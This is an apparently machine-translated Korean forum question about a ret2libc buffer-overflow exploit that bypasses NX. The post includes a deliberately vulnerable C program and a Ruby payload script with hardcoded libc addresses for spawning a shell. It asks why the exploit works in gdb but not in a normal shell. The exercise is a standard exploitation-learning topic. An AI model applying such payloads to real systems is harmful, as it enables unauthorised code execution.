ret2libc 버퍼 오버플로를 사용하여 NX를 우회합니다.Ret2libc가 gdb에서 작동하지만 정상적인 쉘에서 오류가 발생했습니다. sh : 1 : g : 0 : 1 : 찾을 수 없음
내 취약한 코드 (vuln.c) :이 명령을 사용하여 컴파일 된
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buffer[512];
if (argc != 2)
printf("NO\n");
else {
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
}
: 다음이 간단한 ret2libc을 만들어 # gcc -o vuln vuln.c
루비 (exploit.rb)에 악용 :
p = "A"*524
p += [0xb7e9ef10].pack('<I') # system()
p += [0xb7e79e46].pack('<I') # nomal ret val
p += [0xbffff75a].pack('<I') # "/bin/bash"
print(p)
(gdb) r $(ruby exploit.rb)
으로 gdb에서 실행하면 멋진 bash 쉘을 얻을 수 있습니다.
나는 다음 # ./vuln $(ruby exploit.rb)
와 일반 쉘에서 실행하려고 노력하지만, 대신 나에게 쉘을주는 대신 날이 있습니다 : sh: 1: g:0:1: not found
ASLR가 비활성화되고 사용할 수있는 유일한 보호가 생각, NX이다.
도움을 주시면 감사하겠습니다.
편집 :
내가 도움이 경우는 i686에서이 작업을 실행하고 있습니다.
나는이 값에 이미 4를 더했다. 셸 (gdb가 아닌)에서 실행할 때 어떤 이유로 주소가 이동합니다. – carloabelli